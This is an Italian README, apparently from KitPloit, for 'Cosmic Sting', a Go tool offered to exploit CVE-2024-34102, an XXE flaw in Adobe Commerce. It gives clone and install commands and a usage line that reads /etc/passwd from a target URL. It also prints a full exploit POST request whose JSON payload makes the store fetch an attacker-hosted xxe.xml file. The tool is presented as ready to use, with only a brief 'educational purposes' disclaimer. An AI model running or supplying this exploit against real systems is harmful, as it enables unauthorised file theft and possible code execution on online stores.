Cosmic Sting: CVE-2024-34102 Exploiter

Cosmic Sting è uno strumento basato su Go progettato per sfruttare CVE-2024-34102, una vulnerabilità di esecuzione di codice in remoto (Remote Code Execution).

Dettagli CVE-2024-34102

Le versioni di Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 e precedenti sono interessate da una vulnerabilità di restrizione impropria del riferimento a entità esterne XML ('XXE') che potrebbe consentire l'esecuzione di codice arbitrario. Un attaccante potrebbe sfruttare questa vulnerabilità inviando un documento XML appositamente predisposto che fa riferimento a entità esterne. Lo sfruttamento di questo problema non richiede l'interazione dell'utente.

Prerequisiti

• Go (1.16 o superiore)

Installazione

1. Clona il repository:

   root@kitploit:~

   git clone https://github.com/bughuntar/CVE-2024-34102.git &&
   cd CVE-2024-34102
   

2. Installa le dipendenze (se presenti):

   root@kitploit:~

   go version &&
   go mod init cosmic_sting &&
   go get github.com/fatih/color &&
   go get github.com/google/uuid &&
   go get github.com/urfave/cli/v2
   

URL singolo

Per eseguire lo strumento con un singolo URL:

go run cosmic_sting.go -u "http://example.com" -f "/etc/passwd"

Flag

• -u, --url : URL singolo da sfruttare.
• -f, --file : File da leggere tramite SSRF.
• -l, --list : File contenente un elenco di URL da sfruttare.

Richiesta POST con file XML DTD appositamente predisposto:

POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 187

{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"https://{{hostedXMLfile.com}}/xxe.xml","dataIsURL":true,"options":1234}}}}}}

Licenza

Questo progetto non è concesso in licenza, è stato realizzato solo come progetto personale.

Contributi

I contributi sono benvenuti! Apri un problema (issue) o invia una pull request per qualsiasi modifica.

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a scopi educativi. Usalo in modo responsabile e solo su sistemi per cui hai il permesso di effettuare test.

Autore

Professor the Hunter --> Seguimi su Twitter